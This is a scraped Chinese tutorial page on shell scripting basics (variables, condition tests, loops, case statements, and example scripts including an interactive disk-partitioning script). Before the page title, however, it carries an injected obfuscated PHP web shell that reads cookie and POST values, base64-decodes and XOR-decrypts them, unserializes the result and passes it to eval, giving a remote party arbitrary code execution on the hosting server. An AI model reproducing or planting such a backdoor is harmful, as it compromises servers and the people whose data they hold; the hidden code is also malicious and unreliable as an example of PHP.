$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} shell脚本基础 | Linux运维部落

shell脚本基础

shell脚本基础

变量

bash的变量: 
环境变量 
本地变量 
位置变量 
特殊变量

本地变量:bash:作用域为整个bash进程

局部变量:作用域为当前代码段 local VARNAME=VALUE

引用变量:${VARNAME}

环境变量:作用域为当前的shell进程及其子进程 export VARNAME=VALUE导出的含义

返回结果

程序执行可能有两类返回值: 
程序执行结果 
程序状态返回代码(0-255) 0表示正常执行,其他的为错误执行 
如检查一下当前主机上是否存在一个叫做student的用户 
id student 然后echo $? 如果存在的话会显示0,否则显示其他

shell的条件测试条件测试类型

数值测试 
-eq :测试两个整数是否相等 
-ne :测试两个整数是否不等,不等为真,等为假 
-gt:测试一个数是否大于另外一个数 
-lt:测试一个数是否小于另外一个数 
-ge:大于或等于 
-le:小于或等于

文件类型的确定 
-e 该档名是否存在 
-f 该档名是否存在且为文件 
-d 该档名是否存在

字符串判断 
test -z string 判定字符串是否为 0 若 string 为空字符串,则为 true 
test str1 == str2 判定 str1 是否等于 str2 ,若相等,则回传 true 
test str1 != str2 判定 str1 是否不等于 str2 ,若相等,则回传 false 
str1 =~ str2 判断str2是否是str1的子串 
-n 与 -z相反

逻辑与和逻辑或 
&& 逻辑与 前面命令是真时才执行后面的命令 
|| 逻辑或 前面命令为假时才执行后面的命令

流程控制

if条件判断 
单层分支 
if [ 条件判断式 ]; then 
当条件判断式成立时,可以进行的指令工作内容; 
fi(这个if非常容易忘记)

多重分支 
if [ 条件判断式 ]; then 
当条件判断式成立时,可以进行的指令工作内容; 
else 
当条件判断式不成立时,可以进行的指令工作内容; 
fi

for循环的结构: 
for 变量 in 列表; do 
循环体 
done

while 循环(适用于循环次数未知的程序) 
语法: 
while CONDITON;do 
statement 
… 
done 
while 需要循环修正 
while 里面的循环初始值需要给出,如i=1 
还需要注意的是需要有循环修正,使得循环不至于一直持续下去

until(直到满足一定条件,循环终止) 
语法: 
until CONDITTION; do 
statement 
… 
done 
即是条件最开始是不满足的,只有当条件满足的时候循环才中止 
与while的当条件不满足时就终止刚好相反 
所以平常中有while的判断条件为 当什么条件不满足的时候就怎么样此时就可以用until

for循环的第二种使用方式 
for (( expr1; expr2; expr3 ));do 
循环体 
done 
expr1 给定变量的初始值 
expr2 判定循环退出条件 
expr3 修正变量的值

case语句 多分支选择结构 
语法

case SWITCH in 这里的SWITCH一般是要引用变量的值 
value1) 
statement 
… 
;; 
value2) 
statement 
… 
;; 
value3) 
statement 
… 
;; 
*) 
statement 
… 
;; 
esac 
其中的value是字符,故前面的字符比较也是可以用的

while的特殊用法1: 
无限循环,加上break之后,在某一条件满足的时候退出 
具体的用法: 
while :;do 
statement 
done

while的特殊用法2: 
while可以从指定的文本文件中以行为单位,依次遍历其中的行 
while read line; do 
statement 
done


 

脚本运用实例

写一个脚本,提示用户输入一个字符串,将其转换为大写后输出,如果用户输入的quit,则退出

 

#!/bin/bash
#
read -p "please input a string : "  STRING
while [ $STRING !=  quit  ];do
        echo "$STRING" | tr 'a-z' 'A-Z'
        read -p "please input a string : "  STRING
done
  

写一个脚本每隔5秒检测Hadoop用户是否登录,如果登录则显示"hadoop  is logged in "

 

 

#!/bin/bash
#
who | grep 'hadoop'
REV=$?
while [ $REV  -ne   0  ];do
        echo "`date`,hadoop is not logged"
        sleep 5
        who | grep 'hadoop'
        REV=$?
done

 

如何测试192.168.0.151~192.168.7.254  之间的主机是否在线,统计个数并将它们显示出来

 

#!/bin/bash
#
declare -i SUM=0
for (( J=250;J<=254;J++ ));do
        for (( K=200;K<=254;K++ ));do
        ping -c 1 -W  1 172.16.$J.$K  &> /dev/null
        REV=$?
                if [ $REV -eq  0  ];then
                        echo -e "\033[32m 172.16.$J.$K\033[0m  is logged"
                        SUM=$[$SUM+1]
                else
                        echo -e "\033[31m 172.16.$J.$K\033[0m  is not  logged"
                fi
        done
done
echo "the number of logged is : $SUM"

 

 

写一个脚本,根据用户的输入情况来决定循环是否继续,如果用户输入的是q则退出,否则一直循环

 

 

  1 #!/bin/bash
  2 #
  3 while :;do
  4         read -p "please input a filename : " FILENAME
  5         if  [ $FILENAME == ‘q’    ];then
  6                 break
  7         fi
  8 done

 

脚本综合运用

 

写一个脚本,为指定的硬盘创建分区
    列出当前系统上的所有磁盘,让用户选择,如果选择q则退出脚本,如果用户选择错误则让用户重新选择
    当用户选择以后,提醒用户接下来的操作可能会损毁数据,并请用户确认,如果用户选择Y就继续,否则,让用户重新选择
    抹除那块硬盘上的所有分区(提示,抹除所有分区后执行sync命令,并让脚本睡眠3秒钟再创建分区):并为其创建3个主分区,第一个为20M,第二个为512M etx3,第三个为128M ext3,
    且第三个分区类型为swap分区类型(提示:将分区命令用echo传送给fdisk即可)

 

 1 #!/bin/bash
  2 #
  3 #program 
  4 #    the  program can make 3  partations
  5 #Author:Double.f
  6 #Date:2017-4-13
  7 
  8 
  9 fdisk -l | grep '^Disk /dev/sd[a-z]' | awk  -F: '{print $1}'   | cut -d' ' -f2 | sed  '$ a \q'
 10 A=`fdisk -l | grep '^Disk /dev/sd[a-z]' | awk  -F: '{print $1}' | cut -d' ' -f2 | sed  '$ a \q'`
 11 
 12 read -p "please choose a disk: " DISK
 13 
 14 while :;do
 15         S=0
 16         for I in  `echo $A`;do
 17 
 18                 if [ $I == $DISK   ];then
 19                         S=1
 20                         break
 21                 fi
 22 
 23         done
 24         if [ $S -ne 1  ];then
 25                 read -p "please choose a disk: " DISK
 26         fi
 27 
 28         if [ $S -eq  1    ];then
 29                 break
 30         fi
 31 done
 32 
 33 if [ $DISK == ‘q’  ];then
 34         echo "Quiting….."

 35         sleep 2
 36         exit 8
 37 fi
 38 
 39 rm -rf /tmp/zhanshi.txt
 40 
 41 read -p "the operation will delte the full data of the $DISK,continue or exit?(Y/N):"  JUDGE
 42 until [ $JUDGE == ‘Y’ -o  $JUDGE == ‘N’      ];do
 43         read -p "Try again,and choose a correct option :" JUDGE
 44 done
 45 
 46 
 47 for I in `mount | grep "$DISK" | awk '{print $1}'`;do
 48         fuser -km $I
 49         umount $I
 50         sleep 1
 51         echo "umount $I finished"
 52 done
 53 
 54 
 55 if  [ $JUDGE == ‘Y’   ];then
 56         dd if=/dev/zero of=$DISK bs=512k count=1 &> /dev/null
 57         sync
 58         sleep 2
 59 echo 'n
 60 p
 61 1
 62 
 63 +20M
 64 n
 65 p
 66 2
 67 
 68 +512M

69 n

70 p

71 3

 72 
 73 +128M
 74 t
 75 3
 76 82
 77 w ' | fdisk $DISK  &> /dev/null
 78 
 79 echo "partation finished !"
 80 sleep 1
 81 echo "mkfs  is going.."
 82 sleep 1
 83 partprobe $DISK
 84 sync
 85 sleep 1
 86 mke2fs -j ${DISK}1 &>/dev/null
 87 mke2fs -j  ${DISK}2 &> /dev/null
 88 mkswap  ${DISK}3 &> /dev/null
 89 
 90 echo "mkfs is finished !"
 91 sleep 1
 92 echo "Preparing mount …."
 93 read -p "please input a mount directory ${DISK}1:" DIR1
 94 read -p "please input a mount directory ${DISK}2:" DIR2
 95 read -p "please input a mount directory ${DISK}3:" DIR3
 96 
 97 until [ $DIR1 != $DIR2 -a $DIR1 != $DIR3 -a $DIR2 != $DIR3    ];do
 98         echo " mount is busy !!!please choose other directory"
 99          read -p "please input a mount directory ${DISK}1:" DIR1
100          read -p "please input a mount directory ${DISK}2:" DIR2
101          read -p "please input a mount directory ${DISK}3:" DIR3
102 done

 

103 
104 mount ${DISK}1 $DIR1
105 mount ${DISK}2 $DIR2
106 swapon ${DISK}3
107 
108 sleep 1
109 echo "mount is finished !"
110 
111 else
112       exit 9
113 fi

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

原创文章,作者:Double f,如若转载,请注明出处:http://www.178linux.com/73381

(0)
上一篇 2017-04-16 09:46
下一篇 2017-04-16 13:49

相关推荐

  • vim编辑器和bash算术入门

    vim末行模式:       内建的命令行接口      (1)地址界定          :start_pos[,end_pos]          #: 特定的第#行,例如5即第5行; &nbsp…

    Linux干货 2016-12-23
  • 发送mail的几种方法

    mail,顾名思义就是邮件。在这两天上课中,接触了发送mail的一些用法,课下自己在网上又查询补充了一下,总结出来,增加印像。 为了显示清晰,首先我们分别使用两个用户在不同的终端下登录,一个超级管理员root,一个是刚刚创建的用户zhangsan,看下图: 首先先来看一下发送mail用到什么选项:  -s<邮件主题>:指定邮件的主题; …

    2017-07-20
  • 文件管理及常用命令(一)

    cat命令: -n 增加行号 空行也增加行号          [root@localhost ~]# cat f1     abcd     abc…

    Linux干货 2016-08-08
  • Mariadb基于ssl的主从复制

    Mariadb基于ssl的主从复制 一、前言 备份数据库是生产环境中的首要任务,重中之重。一般配置中mariadb的主从传输是明文传输,但是有时候对一些特殊业务来说是不允许的,为了保证数据在传输过程中的安全性,因此使用基于SSL的复制会大大加强数据的安全性。 二、准备工作 1、实验系统环境: CentOS7.2,SELinux关闭,iptables关闭,安装…

    Linux干货 2017-02-24
  • 文件查找命令之find

    文件查找命令一共有两种,locate 和find ,那么他们在用法和功能上面有什么区别呢?     locate:查找速度快,模糊查找,遍历整个文件系统的目录到数据库中,然后在去数据库中查找,依赖于事先创建好的索引库,该数据库属于系统自动创建,定期自动更新,也可手动跟新,更新命令updatedb,更新数据库需要遍历整个根文件系统…

    Linux干货 2016-08-16
  • 网络管理实战(子网划分、单网卡多IP、多网卡单IP、Linux路由实现)

        1、某公司申请到一个C 类IP 地址,但要连接6 个的子公司,最大的一个子 公司有26 台计算机,每个子公司在一个网段中,则子网掩码应设为?          分析过程:C类地址标准的掩码为24位,因为有6个子公…

    Linux干货 2016-09-05

评论列表(1条)

  • renjin
    renjin 2017-04-21 09:57

    主要介绍了bash编程的基础用法,及示例说明,内容总结的详细,排版也很好,在排版上需要注意将终端命令或代码添加至”插入程序代码”中去,还有在总结的shell程序,建议将注释标明